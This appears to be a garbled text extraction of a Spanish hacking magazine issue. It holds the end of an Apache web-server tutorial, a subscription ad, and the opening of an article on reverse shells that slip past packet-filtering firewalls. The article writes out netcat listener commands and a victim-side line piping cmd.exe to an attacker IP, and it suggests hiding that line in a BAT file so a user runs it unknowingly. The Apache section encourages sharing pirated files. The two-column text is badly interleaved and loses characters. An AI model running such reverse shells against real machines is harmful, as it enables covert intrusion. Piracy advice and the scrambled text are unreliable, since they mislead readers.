#AllowOverride None
</Directory>

Como estars un poco harto de parar el servidor


para luego iniciarlo, los creadores de Apache
ya pensaron ello y buscaron una solucin. Si
utilizas apache -k restart reinicias el servidor
web sin necesidad de parar el servidor web.
Recuerda que el parmetro DocumentRoot
tiene que apuntar al directorio donde has Pon de nuevo la url http://127.0.0.1, qu ves?,
creado los directorios, en este caso sera han aparecido los directorios creados incluso
DocumentRoot "c:\apache\htdocs\". puedes navegar por ellos. De esta forma tan
sencilla puedes compartir tus ficheros sin
Con Apache en marcha (Apache.exe -k start) necesidad de conocer HTML y sin instalar otros
pon en el navegador la url: http://127.0.0.1 programas. Cualquier navegante que ponga
(suponiendo que hayas dejado el puerto 80), tu url acceder a los directorios y podr

Pgina 24 PC PASO A PASO N 8


APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II

descargarse los archivos. se encuentre en dicho directorio, algo muy


peligroso para la seguridad del servidor ;)

La decisin de ocultar los archivos depende de


la utilidad que le des a la web, en esta prctica
se han creado las carpetas (crack, divx, mp3,
serial, warez, xxx) para poder compartir los
archivos sin necesidad de FTP. La mayora de
los servidores de alojamiento gratuito tienen
prohibido que alojes ficheros de gran tamao
como los archivos divx o algunos mp3. Ahora
puedes utilizar tu propio servidor web para
compartir los archivos sin depender de los
servidores gratuitos que te ponen tantas pegas.

4.- Qu has aprendido?

Has aprendido a arrancar, parar y resetear el


servidor Apache mediante el comando
Quieres ver el contenido de uno de los Apache.exe. Has aprendido a averiguar la versin
directorios de hackxcrack? Pon del servidor Apache mediante el cliente telnet
http://www.hackxcrack.com/imagenes/ o e incluso de otros servicios utilizando el
http://www.hackxcrack.com/entrada/, al no navegador. Has aprendido las principales
tener un fichero ndice (index.html) muestra directivas globales del servidor Apache y como
el contenido del directorio. utilizarlas para configurar y proteger tu servidor
Apache. Has aprendido a compartir archivos
Te sorprenders si haces pruebas con otros utilizando el servidor y accediendo mediante
servidores, vers que muchas veces los un simple navegador.
administradores no protegen los directorios
dejando los contenidos accesibles a los curiosos. Ya sabes algo ms del funcionamiento de
Muchas veces los programadores web dejan 22.045.420 servidores webs !!
ficheros txt con instrucciones de cmo usar
algunos ficheros, al dejar visible los directorios Como ejercicio puedes poner en marcha un
y adems poder navegar en ellos podrs acceder propio servidor web y compartir MP3 y algunas
a informacin que tal vez sea privada. Es pelis, anuncia la url en el foro de hackxcrack,
importante que pongas un fichero ndice en algn valiente?
aquellos directorios que no deseas que se
muestren los archivos (cuando hablamos de En el prximo nmero ...
fichero ndice nos referimos al index.html). Sin Ampliaremos las directivas y crearemos
el fichero ndice el servidor mostrar servidores virtuales para que puedas ofrecer a
automticamente uno con una serie de enlaces tus amigos espacio web como lo hacen los
que permitirn acceder a su contenido, de esta grandes portales como Iespana, Terra, Lycos,
forma es posible acceder a la informacin vital ... pero sin publicidad.
o que, alguien que carece de los permisos
oportunos, ejecute algn archivo binario que Recuerda que lo ms importante es que te des

PC PASO A PASO N 8 Pgina 25


APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II

cuenta de que tu pequeo ordenador puede tanto de tu servidor web Apache pues la mayora
ser visto como un gran servidor de cara a los de ellos tienen otro servidor Apache ;)
navegantes, y que el funcionamiento de los
servidores web a los que te conectas no difieren David C.M

SUSCRIBETE A
PC PASO A PASO
45 EUROS (10% DE DESCUENTO)
SUSCRIPCIN POR: +
1 AO = SORTEO DE UNA CONSOLA XBOX
+
11 NUMEROS SORTEO 2 JUEGOS PC (A ELEGIR)

C o n t r a R e e m b o l s o Giro Post al
Solo tienes que enviarnos un mail a preferente@hackxcrack.com Envanos un GIRO POSTAL por valor de 45 EUROS a:
indicando: CALLE HIGINIO ANGLES N2, 4-1
- Nombre CP 43001 TARRAGONA
- Apellidos ESPAA
- Direccin Completa IMPORTANTE: En el TEXTO DEL GIRO escribe un mail de contacto
- Poblacin o un nmero de Telfono.
- Provincia
- Cgigo Postal Y enviarnos un mail a preferente@hackxcrack.com indicando:
- Mail de Contacto y/o Telfono Contacto - Nombre
Es imprescindible que nos facilites un mail o telfono de contacto, - Apellidos
puesto que 24 horas despus de que recibamos tu peticin de - Direccin Completa
subscripcin te daremos un nmero de Cliente Preferente. Este - Poblacin
nmero ser utilizado para los sorteos. - Provincia
- Tipo de Subscripcin: CONTRAREEMBOLSO - Cgigo Postal
- Nmero de Revista: - Mail de Contacto y/o Telfono Contacto
Este ser el nmero a partir del cual quieres subscribirte. Si deseas Es imprescindible que nos facilites un mail o telfono de contacto,
(por ejemplo) subscribirte a partir del nmero 5 (incluido), debes poner puesto que 24 horas despus de que recibamos tu peticin de
un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos) subscripcin te daremos un nmero de Cliente Preferente. Este
nmero ser utilizado para los sorteos.
APRECIACIONES: - Tipo de Subscripcin: GIRO POSTAL
* Junto con el primer nmero recibirs el abono de 45 euros, precio - Nmero de Revista:
de la subscripcin por 11 nmeros (un ao) y una carta donde se te Este ser el nmero a partir del cual quieres subscribirte. Si deseas
indicar tu nmero de Cliente Preferente y justificante/factura de la (por ejemplo) subscribirte a partir del nmero 5 (incluido), debes poner
subscripcin. un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos)
* Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
indicado; rellenando el formulario de nuestra WEB APRECIACIONES:
(www.hackxcrack.com) o envindonos una carta a la siguiente direccin: * Junto con el primer nmero recibirs una carta donde se te indicar
CALLE HIGINIO ANGLES N2, 4-1 tu nmero de Cliente Preferente y justificante/factura de la subscripcin.
CP 43001 TARRAGONA * Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
ESPAA indicado; rellenando el formulario de nuestra WEB
* Cualquier consulta referente a las subscripciones puedes enviarla (www.hackxcrack.com) o envindonos una carta a la siguiente direccin:
por mail a preferente@hackxcrack.com CALLE HIGINIO ANGLES N2, 4-1
CP 43001 TARRAGONA
ESPAA
* Cualquier consulta referente a las subscripciones puedes enviarla
por mail a preferente@hackxcrack.com

Pgina 26 PC PASO A PASO N 8


REVERSE SHELL
BURLANDO AL FIREWALL

1.- NOTA DEL AUTOR. os suene a chino a muchos de vosotros, la


consecuencia prctica es que no podris ejecutar
Hola a todos. el programa en un Windows... A qu esperis
Antes de entrar en materia me gustara para instalaros un Linux? ;-) En los foros de
comentar unos cuantos puntos que me parecen hacxcrack encontrareis mucha informacin til
importantes... S, ya s. "Otro rollo para ocupar si os decids a hacerlo.
espacio con paja", diris... Po z, o no, o yo
que s. Lo nico que s es que CREO que debo
! Comentario de...
decirlo ;-)

Comentario de Hack x Crack: El FORO de hackxcrack (en


En primer lugar quiero dejar claro que este es
www.hackxcrack.com) es donde mejor puedes solucionar
un artculo que intenta profundizar en un
tus dudas con respecto a los artculos publicados en esta
concepto, y no ensearos a configurar una
revista. Muchos de vosotros nos enviis mails preguntando
herramienta que os permita explotar un bug,
sobre los problemas que os surgen a la hora de hacer los
romper un sistema o haceros con un servidor.
ejercicios y es imposible contestar a todo el mundo, para
Si lo que buscis es esto... Mejor que pasis a
eso existe EL FORO, para compartir con todos tus dudas
otro artculo.
y tus conocimientos. De verdad, si tienes dudas, por favor,
psate por el foro y formula tus preguntas para que entre
En segundo lugar, este artculo NO pretende
todos podamos intentar ayudarnos.
en NINGN caso ser una introduccin al
concepto de "firewall" ni una iniciacin a la
programacin Perl. Esos son temas que deben
ser tratados a fondo y, corresponderan a otro En quinto lugar decir que, si bien algunos
artculo (aunque no creo que la mejor forma conceptos tratados en este artculo puedan
de aprender perl, p.ej., sea leer artculos... son parecer algo avanzados a alguien sin
slo un complemento). conocimientos, es bien cierto que deberis
acostumbraros a manejarlos cuanto antes si
En tercer lugar, mi intencin NO es que sepis de verdad estis interesados en temas de
como burlar la seguridad de una red para seguridad. En nmeros atrasados YA se han
aprovecharos fraudulentamente de ello. Lo mencionado temas como "puertos", "shell (o
nico que pretendo es que entendis como interfaz de comandos)", "netcat", "TCP/IP",
alguien podra llegar a "burlar" ciertos elementos etc. Tratad de ahondar en estos, y otros,
de seguridad de vuestros sistemas y os preparis conceptos. A pesar de lo maravillosa que pueda
para hacerle frente. ser esta revista, no es la nica fuente de
informacin que tenis a vuestra disposicin...
En cuarto lugar debo mencionar que el Usad cuantas podis. No es ms que un consejo
programilla que se expone al final del artculo ;)
funciona bien en UNIX (o sistemas "UNIX style"
como GNU/Linux). Esto es debido al modelo Finalmente quisiera dar el mrito a quien lo
de programacin empleado, donde se realiza tiene. Gracias a Breos por su paciencia y
una llamada a la funcin "fork", propia del UNIX colaboracin. Gracias a Van Hauser de THC, la
(Windows utiliza threads)... Aunque todo esto idea del programa original (rwww-shell) es toda

PC PASO A PASO N 8 Pgina 27


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

suya, as como el mrito en el desarrollo de la Vctima: El ordenador de la red interna al que


misma. Y gracias a hackxcrack por tratar de tenemos algn tipo de acceso pero no podemos
facilitarnos una publicacin que trate estos (y controlar desde el exterior.
otros temas) de forma que puedan estar al
alcance de todos. Otros Equipos: Otros ordenadores y/o
perifricos que forman parte de la red interna.
2.- PRIMER ESCENARIO.
Supongamos el siguiente escenario. Existe una Firewall: El cortafuegos que el Administrador
red de rea local, que se conecta a Internet a ha colocado entre Internet y la red interna,
travs de un firewall de filtrado de paquetes incluida la mquina vctima.
IP (luego pongo un ejemplo para intentar
explicar este "extrao" concepto). Nosotros Reglas de trfico entrante: El Administrador
tenemos acceso a una de las mquinas de la ha configurado el cortafuegos para que NADIE
red interna (sea porque trabajamos all, porque pueda comenzar una conexin desde el exterior
tenemos un infiltrado o porque hemos logrado con una mquina de la red interna. No importa
que un "pipiolo" ejecute todo lo que le enviamos que puertos tenga abiertos la mquina
por correo), pero NO podemos establecer una vctima... EL cortafuegos no dejar que se
sesin interactiva (o sea, abrir una consola) llegue a ellos (parar los intentos de conexin).
desde el exterior porque el firewall nos lo
impide. Reglas de trfico saliente: El Administrador
ha configurado el cortafuegos para que
Veamos como podra ser esto: cualquiera de la red interna pueda conectarse
a Internet va HTTP (o sea, para navegar por
pginas web). Adems, tambin se permite
trfico SMTP y POP a una IP determinada (para
Vctima el envo y recepcin de correo). El resto del
trfico saliente no est permitido.

Reglas de trfico Internet ! Comentario de...


entrante
Comentario de Hack x Crack: Si no tienes ni idea de lo
que es un firewall sera recomendable que te leyeses el
Otros nmero 1 de esta revista, lo tienes disponible en nuestra
equipos Reglas de trfico Web de forma totalmente gratuita ;)
saliente

Bien... Llegados a este punto podemos explicar


un poco ms a fondo lo que sucede con las
reglas entrantes y salientes. Para ello
explicaremos MUY bsicamente que hace el
cortafuegos de filtrado IP que hemos supuesto
Vctima: El ordenador de la red interna al que en nuestro escenario.
tenemos algn tipo de acceso pero no podemos
controlar desde el exterior. Veamos lo que significa el tipo de reglas de

Pgina 28 PC PASO A PASO N 8


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

trfico entrante que se han definido: Se ha pginas de guarras, que es mucho ms


dicho que el cortafuegos no permitir que se productivo). Se trata de una regla muy comn
inicie una conexin desde el exterior con que encontrareis, de una u otra forma, en la
ninguna mquina de la red interna. Esto quiere mayora de los cortafuegos empresariales.
decir que, si colocamos un troyano convencional
(tipo B.O. o Sub7) a la escucha en el puerto Esta regla sera ms o menos como sigue:
5000 de nuestra mquina vctima NO NOS "Permite que las mquinas de mi red interna
SERVIR DE NADA, porque el cortafuegos no hagan peticiones a cualquier mquina de
dejar que nos conectemos a esa mquina Internet, siempre que las dirijan a los puertos
desde casa por muchos puertos, troyanos y/o 80 o 443 usando el protocolo TCP".
servicios que tengamos a la escucha. El famoso
serv-u comentado en un nmero anterior de
esta revista NO nos permitira conectarnos a
Paso 1: el Pc Vctima SE CONECTA al PC EXTERIOR
esta mquina... Ese maldito cortafuegos... Pc Firewall Internet Pc
Vctima Atacante
Tendramos una regla que se podra
traducir as:
Impide el intento de conexin a cualquier
puerto de cualquier mquina de mi red interna
si el origen viene desde Internet, sea el protocolo
que sea
Intentando Permitiendo con un Servidor Web
conectarse al peticiones al (o cualquier otro
Pc Firewall Internet Pc puerto 80 443 puerto80 y 443 software) atendiendo
Vctima Atacante de un Pc de cualquier Pc las peticiones al
EXTERIOR EXTERIOR puerto 80

Paso 2: el Pc EXTERIOR permite la conexin y envia los datos ped idos al Pc Vctima
Pc Firewall Internet Pc
Vctima Atacante
Tiene un Bloqueando Intentando
troyano cualquier incio iniciar una
escuchando en de conexin conexin en el
el puerto 80 desde el puerto 5000 del
exterior PC vctima
5000
Recibiendo Permitiendo el Enviando una
Ahora fijmonos en las reglas de trfico saliente.
contestacin paso de la respuesta al Pc
Podemos ver que, si es la mquina vctima la
respuesta del Vctima
Pc EXTERIOR
que inicia la conexin (desde dentro y no desde
fuera), se nos permite conectarnos a los puertos
80 y 443 de cualquier mquina de Internet
(puertos ms comunes de los servidores Web).
! Comentario de...
Esto est pensado para que la gente de la red
COMENTARIO DE HACK X CRACK: Muchos lectores
interna pueda navegar por Internet y realizar
estarn preguntndose como es posible que en el PASO 2,
las funciones propias de su trabajo (o ver las

PC PASO A PASO N 8 Pgina 29


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

el PC EXTERIOR pueda enviar datos al PC Vctima De modo que pasas y establecis una comunicacin de la
teniendo un Firewall que en principio debera DETENER siguiente forma:
cualquier tipo de "transferencia". Bien, ES Comandante (PC Vctima): Te requiri a su presencia de
IMPRESCINDIBLE que entiendas lo siguiente: Una cosa forma inmediata.
es la "Peticin de Conexin" y otra muy distinta la T (PC Exterior): Llegas ante el Teniente y te identificas
"Respuesta a una peticin" y posterior "Conversacin". como alguien que ha sido requerido por el comandante.
Vamos a ver estos conceptos dos ejemplos: un "paralelismo Teniente (FIREWALL): Verifica que efectivamente fue el
militar" ;) y un "amigo pasota". comandante el que te llam, y no eres un jetas que trata de
entrar con una treta para llenar el silln del comandante
Paralelismo Militar: con miguitas de pan. Una vez verificado te deja pasar sin
Supongamos que eres soldado raso del glorioso cuerpo de problemas ni preguntas.
la legin espaola. Supongamos tambin que ests destinado
en un cuartel con un reglamento muy estricto. --- En este momento establecis una conversacin ---
T: Entras y te presentas ("A sus ordenes de usted, mi
Este reglamento prohibe que un soldado raso (PC Exterior) Comandante, se presenta el soldado raso Juan Tanamera
hable con el comandante del puesto (PC Vctima) SIN Guajira").
haber sido preguntado o requerido por el mismsimo Seor
Comandante (PC Vctima). Es decir, si el comandante no Comandante: Te dar las ordenes oportunas ("vaya a limpiar
se pone en contacto contigo, olvdate de mantener una mi retrete de inmediato... Esta maana la diarrea no me
charla con l. permiti llegar a tiempo al excusado.").

Como t (PC Exterior) eres mu chulo, decides que vas a T: Te aseguras de lo que tienes que hacer ("Con la lengua,
ir a hablar con el comandante (PC Vctima). Entras en las mi Comandante?").
dependencias y te encuentras con un Teniente (FIREWALL) Comandante: Te contesta ("Por supuesto soldado. Acaso
plantado delante de la puerta del comandante. Le explicas hay otra forma?").
al Teniente educadamente que necesitas hablar con el Seor
Comandante (Peticin de Conexin), pero tan slo recibes --- Fin de la conversacin ---
un "NO" como respuesta. Da igual como te pongas... De
hecho, si eres demasiado insistente puedes provocar las T te retiras y no podrs volver a hablar con l hasta que
iras del teniente y dar con tus huesos en el calabozo (baneo seas requerido a su presencia nuevamente (por mucho que
al canto ;p). trates de ir a asegurarle lo limpio que lo has dejado todo,
mostrndole las pruebas del trabajo bien hecho an visibles
Ese mismo da el comandante TE LLAMA (Peticin de en tu lengua)
Conexin al PC Exterior). Llegas al despacho y te encuentras
con el mismo teniente (FIREWALL). Le explicas que te Como puedes ver, es perfectamente posible que entables
ha llamado el comandante (PC Vctima) y el Teniente, un dilogo con el comandante... Pero es l quien debe
despus de verificar que en efecto ha sido as, te franquea realizar la peticin de que ese dilogo se produzca. Si lo
el paso sin problemas. Est "obligado" por el mismo intentas t, slo conseguirs estrellarte una y otra vez contra
reglamento a dejarte pasar, o sera l el que no est el teniente de turno.
cumpliendo su funcin al no permitir que te comunicases
con vuestro jefe supremo A REQUERIMIENTO DE ESTE Ahora veamos los protagonistas nuestra historia:
(con el riesgo de dar l con sus huesos en el consabido
calabozo). Soldado Juan Tanamera Guajira (T): Mquina

Pgina 30 PC PASO A PASO N 8


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

Atacante/Exterior. intentos de conexin desde el exterior, tambin puede


Teniente: Firewall... Sigue al pie de la letra un reglamento auditar el trfico y decidir si los datos que le llegan desde
claro y estricto. el exterior son los esperados o no. Guarda este ltimo
Comandante: Mquina Vctima (hombre, visto as... je je prrafo "calentito" en tu mente, lo necesitars cuando
je) avances en el artculo ;p

Pos eso ;) Perdonad si hemos sido demasiado "pesados" con estos


ejemplos, pero repito que ES IMPRESCINDIBLE entender
AMIGO PASOTA: estos conceptos. He visto cmo muchas personas "se
Imaginemos que estamos andando por la calle y vemos (a pierden" leyendo textos de Seguridad Informtica porque
lo lejos) a un conocido, le pegamos un grito (intento de no saben diferenciar los distintos "estados" por los que
conexin) PERO como nuestro amigo es un tipo muy pasa una "sesin/conexin". Cuando expliquemos (un da
"cerrado" hace como que no te oye y sigue su camino sin de estos) detalladamente cmo se establecen las conexiones,
hacerte caso. Tu "conocido" es como si tuviese un firewall vers que hay muchos ms pasos intermedios de los que
en el cerebro, no admite intentos de conexin!!! te puedas llegar a imaginar ;)

Otro da ese mismo conocido te da unos golpecitos por la


espalda y te saluda amablemente (intento de conexin) y Adems, Nos encontramos con que podemos
t le devuelves el saludo (aceptacin de conexin) e iniciis enviar y recibir correo, usando el servidor de
una conversacin que dura 20 minutos (intercambio de correo de nuestro ISP (Proveedor de Internet).
datos despus de la aceptacin de conexin). Supongamos que la direccin IP del servidor
de correo de nuestro ISP es 10.20.20.1 (por
Date cuenta que una cosa es el INTENTO DE CONEXIN supuesto, esta direccin IP pertenece a un
(el saludo) y otra es el INTERCAMBIO DE DATOS (la rango invlido en Internet y se usa solo como
conversacin). Lo que hace el FIREWALL es impedir los ejemplo). Los puertos comunes para el correo
intentos de conexin desde el exterior, pero no el intercambio saliente y entrante son el 25 y el 110
de datos. Y por descontado, si no hay "saludo" (conexin), respectivamente.
no hay conversacin (intercambio de datos); lee el nmero
1 de Hack x Crack y vers otro ejemplo :) Nos encontramos con una regla similar a
esta:
Antes de cerrar esta larga NOTA, explicamos algo ms. El "Permite que las mquinas de mi red interna
FIREWALL puede no solo impedir conexiones desde el se conecten con la mquina que est en la
exterior, sino que adems, puede que no le guste la direccin de Internet 10.20.20.1 siempre que
conversacin y cerrarla de inmediato je, je Cmo? el trfico se dirija a los puertos 25 o 110, usando
Qu? Si, es muy sencillo!!! Imagina que el PC Vctima el protocolo TCP".
inicia una conexin con un PC EXTERIOR esperando
encontrar la respuesta de un Servidor Web (que habla un
! Nota para...
lenguaje llamado http ;)) PERO en lugar de recibir la
respuesta esperada, el PC EXTERIOR le responde en otro
NOTA PARA LOS PURISTAS: Generalmente existir, al
lenguaje (protocolo ;)) ummm entonces el FIREWALL
menos, una regla ms relacionada con las peticiones DNS
se cabrea y cierra la conexin inmediatamente!!! Como
(puerto UDP 53) para que la resolucin de nombres funcione
puedes ver, un FIREWALL tiene muchas maneras de
correctamente y el escenario que hemos presentado resulte
proteger al PC Vctima, no todo es cuestin de impedir
realista, as como una regla inicial que deniegue todos los

PC PASO A PASO N 8 Pgina 31


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

Por lo tanto, en mi equipo debo tener alguna


accesos, por defecto, desde/hacia cualquier sitio por otra herramienta escuchando en uno de los
cualquier puerto... Pero eso no es relevante para el objetivo puertos objetivo. Veamos, De donde saco algo
de este artculo. as?

Ante este primer escenario, no hay por que


complicarse la vida. YA disponemos de una
! Comentario de... herramienta que nos permitir llevar a cabo
esta conexin: el netcat ;).
Comentario de Hack x Crack: Es el ltimo "aadido" que
hacemos, no queremos ensuciar este EXCELENTE artculo
interrumpindolo constantemente IP Interna, IP Externa, ! S buscis...
DNS, puertos, servicios, TCP/UDP, netcat, shell, cmd y
muchos otros conceptos implcitos en este texto han sido Si buscis por Internet encontrareis varias herramientas
ya estudiados en los anteriores nmeros de esta publicacin, que permiten hacer un "reverse shell" de forma ms intuitiva,
as que, ya sabes ;) pero mi intencin es mostraros el concepto y la tcnica...
Queda a vuestro criterio que herramienta os gusta o convence
ms. El uso de netcat ilustra perfectamente el funcionamiento
Pues ya vemos como pintan las cosas. Un de esta tcnica.
troyano convencional, que abra un puerto en
la mquina vctima y se ponga a la escucha no
nos servir de nada, porque no podremos llegar Veamos como podemos usar el netcat para hacer
a ese puerto... "Cagonel" p*** firewall...! esto. Para ello necesitaremos tener el netcat en la
maquina vctima y en nuestra maquina atacante en
De la misma forma, el netcat usado tal y como el exterior. Supongamos que la IP de nuestra maquina
en Internet es 192.168.100.100 (otra direccin
se explic en la revista tampoco nos servir de
invlida ;)).
nada... Abrir una shell y se quedar
escuchando en un puerto al que nunca podr
Revisemos nuestro objetivo: Queremos que la
acceder desde el exterior... Tengo que buscar
mquina vctima inicie la conexin hacia nuestra
otra alternativa. maquina atacante y que nos suministre una shell de
comandos.
Veamos, Qu me permite el firewall? Me
permite cursar trfico comenzando la peticin Podemos conseguir esto usando el netcat y el "pipe"
desde una mquina en el interior de la red... (|) del S.O. (Sistema Operativo). Veamos como:
Adems, dicho trfico debe estar dirigido a los
puertos 80 o 443. Tambin me deja cursar En la mquina atacante (nuestra mquina exterior)
trfico hacia los puertos 25 y 110, pero como abrimos DOS consolas de comandos y escribimos lo
solo me permite hacerlo a una IP concreta (la siguiente (una instruccin en cada consola):
del Servidor de Correo del ISP) me olvidar de
(En la primera consola) nc -vv -l -p 80
estos por el momento...

(En la segunda consola) nc -vv -l -p 443


Ok, lo que necesito es un troyano (o
herramienta) que LLAME A MI EQUIPO Ahora tenemos dos consolas abiertas con el netcat
ATACANTE (y no al revs) y me suministre una escuchando en un puerto distinto en cada una de
interfaz de comandos. Esto es lo que se conoce ellas: el puerto 80 en la primera y el puerto 443 en
con el nombre de "Reverse Shell". la segunda.

Pgina 32 PC PASO A PASO N 8


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

En la maquina vctima se deber escribir el siguiente nuestra mquina atacante al puerto 443, donde
comando: tenemos escuchando nuestro segundo netcat
abierto en nuestra segunda consola, en la
nc 192.168.100.100 80 | cmd.exe | nc maquina atacante.
192.168.100.100 443

En resumen, desde el punto de vista de nuestra


! Esta secuencia... mquina atacante tendremos que ejecutamos
comandos en una consola y observamos su
salida en la otra.
Esta secuencia podra ser ejecutada por un fichero BAT (o
en cualquier otro lenguaje) oculto o usando cualquiera de
Desde el punto de vista de la mquina vctima
las tcnicas habituales que hacen que un usuario ejecute
ejecutar comandos mediante una conexin
algo que no debe sin saberlo...
que comenz ella dirigida al puerto 80 de una
mquina externa y devolver la salida a travs
de otra conexin que comenz ella dirigida al
Bueno, venga
puerto 443 de una mquina externa... Ambas
conexiones permitidas por el firewall.
Qu estamos diciendo aqu? Veamos:
a) nc 192.168.100.100 80: Comenzamos
una conexin con el netcat desde la mquina
exin al puerto 80 del atacante
vctima a nuestra mquina exterior, dirigida al 1) Con
2) Introduccin de comandos
puerto 80 (puerto permitido por el cortafuegos)
b) | cmd.exe: Con un "pipe" (|) dirigimos la
Pc Pc
salida del comando anterior al programa
Vctima IP:10.20.30.40 (por ejemplo)
Atacante
cmd.exe. En UNIX (o Linux) sustituir cmd.exe IP:192.198.100.100
Puerto: el que asigne el sistema Escuchando puerto 80
por /bin/sh
c) | nc 192.168.100.100 443: Con un nuevo 3) Pasa comando
"pipe" (|) dirigimos la salida del comando CMD.EXE 4) Procesar el comando
anterior (cmd.exe) al netcat, pero esta vez 5) Pasa respuesta
apuntando a nuestra mquina exterior al puerto
443 (otro puerto permitido). IP:10.20.30.40 IP:192.198.100.100
Puerto: el que asigne el sistema Escuchando puerto 443
El resultado de esto es claro. La mquina
vctima se conecta con nosotros a travs del 6) Envio de respuesta
puerto 80. En la primera consola de nuestra
maquina atacante capturaremos esa conexin
y podremos escribir los comandos que Qu tenemos? Obviamente una interfaz de
queramos ejecutar (por ejemplo "dir c:\") comandos con una mquina vctima que est
detrs de un firewall de filtrado de paquetes
Este comando se reenviar al programa que no nos permita conectarnos desde el
cmd.exe de la mquina vctima (dado que es exterior a ninguna mquina del interior.
la salida de su primer netcat), que lo ejecutar.
Seguro que algn espabilado ya se ha dado
A continuacin, el resultado se enviar al cuenta de que este mtodo funciona
segundo netcat de la mquina vctima, a travs exactamente igual con mquinas detrs de un
del "pipe" (|), quien a su vez lo dirigir a router que no tienen ningn puerto redirigido

PC PASO A PASO N 8 Pgina 33


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

hacia mquinas internas... Os suena de nc -vv -l -p 80 (Obteniendo la imagen anterior)


algo? ;-)

! Entendamos...
! En el caso de...
Entendamos eso de nc -vv -l -p 80
En el caso de que no dispongamos del netcat instalado en * la opcin -vv, por decirlo de forma rpida y sencilla, nos
la mquina vctima podremos conseguir el mismo resultado permitir obtener ms informacin por pantalla de lo que
mediante el programa telnet. est pasando.
* la opcin -l le indica al netcat que debe quedarse
escuchando conexiones entrantes.
3.- SEGUNDO ESCENARIO PASO A * la opcin -p 80 le indica al netcat en qu puerto debe
PASO Y EN TU PC quedarse escuchando, en este caso el puerto 80.

Todo lo explicado PUEDES PROBARLO EN TU


PC haciendo tu mismo de atacante y vctima.
3.2 Activando la Segunda Consola

3.1 Activando la Primera consola.


- Abrimos otra Ventana de Comandos, nos
vamos al directorio del netcat y ejecutamos la
- Te creas una carpeta llamada nc7 (o el
orden
nombre que quieras) en tu disco C y metes
dentro el netcat (puedes "coger" el netcat de
nc -vv -l -p 443
nuestra Web: www.hackxcrack.com, no olvides
descomprimirlo ;p).
Es idntica a la anterior salvo que esta vez se
- Abres una Ventana de Comandos (esto ya lo
queda escuchando el puerto 443.
explicamos una y mil veces en anteriores
nmeros) y te metes en el directorio donde
Con esto ya tenemos
acabas de poner el netcat (c:\nc7 en nuestro
la parte "atacante"
caso)
preparada :), ahora
vamos a "trabajarnos"
a la vctima ;)

3.3 Creamos un fichero BAT que ejecute


la "orden"
nc 127.0.0.1 80 | cmd.exe | nc 127.0.0.1
443 y, para quien no tenga ni idea de lo que
es un fichero BAT :( pues venga
* abrimos nuestro Bloc de Notas (o cualquier
otro editor de texto PLANO)
* escribimos la orden nc 127.0.0.1 80 |
cmd.exe | nc 127.0.0.1 443 y lo guardamos
en el directorio donde tenemos el netcat (en
cd c:\nc7
c:\nc7) con el nombre que quieras, nosotros
e introduces el comando para obtener La lo hemos llamado "lanza.txt"
Primera Consola. Por cierto, para quien no sepa cmo se introduce

Pgina 34 PC PASO A PASO N 8


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

esa barra vertical (no te quejars no) pues de arriba a la izquierda e introduce un comando,
pulsas la tecla [Alt Gr] + la tecla 1 pero por ejemplo el comando dir c:\. Inmediatamente
hombre, la del teclado numrico NO!!!, por obtendrs en la Ventana de Comandos de arriba
favor, pulsa la tecla 1 de toda la vida!!! (si te a la derecha el listado de archivos del disco C:
da vergenza leer esto, imagina lo que siento
yo al escribirlo ;p)
* Finalmente, le cambiamos la extensin al
fichero lanza.txt transformndolo en lanza.bat
Cmo? Qu dices? Qu no puedes ver las
extensiones TXT y BAT? NO!!!! NO!!!!!
NO!!!!!!!!! Me niego a decirte cmo se activa
la visualizacin de las extensiones en Windows
venga hombre, si realmente no lo sabes
investiga un poquito y como ltimo recurso
psate por el foro de Hack x Crack, acumula
una buena dosis de valor y pregunta!!! :p
* Ya est todo preparado para el gran momento.
Inicia otra ventana de comandos (con esta ya
van tres), ves al directorio del netcat (c:\nc7) No te cortes, introduce todos los comandos
y ejecuta el fichero lanza.bat DOS en la Ventana de Comandos de arriba a
Te aconsejo que tengas las tres Ventanas de la izquierda y observa el resultado en la de
Comando a la vista cuando lo hagas ;p arriba a la derecha ;p

4.- SEGUNDO ESCENARIO

Ahora supongamos que nuestro firewall dichoso


es aun ms listo, y nuestro administrador ms
espabilado. El firewall que tenemos NO SOLO
filtra los paquetes de forma que solo se puedan
dirigir desde/hacia determinadas IPs y/o puertos.
Adems, es capaz de validar (mediante una
aplicacin de tipo proxy o gateway, por ejemplo)
que el tipo de trfico cursado cumple con unas
normas bsicas de protocolos HTTP, SMTP y
POP (que son los servicios que permitamos en
el ejemplo anterior).
Qu ha pasado? Bueno, creo que ya lo
explicamos antes, pero por si acaso te has Obviamente, nuestras sesiones netcat, con
perdido :) entrada/salida de comandos, no pasaran
- Las dos ventanas de arriba son las que desapercibidas a tan malvolo ingenio.
tendras en un ordenador (PC ATACANTE) Detectara que el trfico cursado NO cumple el
- La ventana de abajo sera la que tendras en protocolo HTTP (que define la forma en que
la vctima (debidamente oculta, claro) los navegadores piden pginas a los servidores
web, y la forma en que estos responden).
Ahora, por si te quedan dudas de lo que hemos Adems, ese "peaso" de firewall deja un log
conseguido, ves a la Ventana de Comandos que el administrador revisar (ya hemos dicho

PC PASO A PASO N 8 Pgina 35


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

que el to es "espabilao") y tratar de tracear Por qu en Perl? Bueno, hay 3 poderosas


nuestra conexin hacia atrs (y existen formas). razones:
1.- Fue el lenguaje elegido por el autor original
Dios mo! Esto es un infierno! Ahora si que porque, segn l, "le gusta el perl".
